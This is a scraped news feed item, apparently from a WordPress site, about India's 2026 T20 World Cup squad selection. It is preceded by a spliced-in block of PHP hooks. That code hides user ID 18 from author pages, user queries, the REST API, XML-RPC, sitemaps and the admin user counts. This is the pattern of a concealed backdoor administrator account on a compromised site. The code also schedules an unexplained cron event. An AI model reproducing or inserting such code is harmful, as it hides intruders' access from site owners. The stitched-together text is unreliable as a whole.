add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India Announce Aggressive Squad for 2026 T20 World Cup, Gill Left Out, Axar Named Vice Captain appeared first on The Edge Media.
]]>Axar Patel has been appointed vice captain of the squad, underlining the management’s trust in his all round value and consistency in the shortest format. The announcement also marked the return of Ishan Kishan, who edged past Jitesh Sharma to become the second wicketkeeper alongside Sanju Samson.
Kishan’s comeback follows an outstanding domestic season. After facing setbacks earlier in the year due to fitness and availability concerns, the left handed batter led Jharkhand to their first ever Syed Mushtaq Ali Trophy title. His tournament included a blistering 101 off 49 balls in the final, which was his fifth century of the competition, matching the record for most hundreds in a single edition. He ended the tournament as the highest run scorer with 517 runs from 10 innings, averaging 57.44 and striking at nearly 200.
Chief selector Ajit Agarkar explained that Gill’s exclusion was purely performance based, citing a lack of runs in recent outings.
Gill managed scores of 4, 0 and 28 in the T20 series against South Africa, which ultimately worked against him. Captain Suryakumar Yadav also clarified that team composition played a role, as the management wanted a wicketkeeper option at the top of the order.
Kishan’s inclusion meant that Yashasvi Jaiswal missed out, while Jitesh Sharma was also dropped from the squad. The selectors have clearly doubled down on explosive batting, stacking the top and middle order with aggressive options like Abhishek Sharma, Suryakumar Yadav, Tilak Varma and Kishan. Rinku Singh’s return reinforces India’s commitment to a specialist finisher capable of handling pressure situations and accelerating in the death overs.
All round strength remains a key pillar of the squad. Hardik Pandya will once again play a crucial role in balancing the playing eleven, supported by Shivam Dube, whose power against spin has emerged as a major weapon. Axar Patel and Washington Sundar provide flexibility, control and added batting depth.
The bowling attack combines proven performers with future prospects. Jasprit Bumrah leads the pace unit, partnered by Arshdeep Singh, India’s most dependable left arm seamer in T20 cricket. The inclusion of Harshit Rana highlights a forward looking approach, with selectors investing in raw pace and bounce.
Spin responsibilities will be shared by Kuldeep Yadav and Varun Chakravarthy, a duo that offers wrist spin variety and mystery, particularly effective during the middle overs on worn surfaces. Axar and Sundar further enhance the spin options with their versatility.
Apart from his role as the second wicketkeeper, Ishan Kishan will serve as the reserve opener, adding depth and flexibility to the batting lineup as India prepare for the challenges of a home World Cup.
The post India Announce Aggressive Squad for 2026 T20 World Cup, Gill Left Out, Axar Named Vice Captain appeared first on The Edge Media.
]]>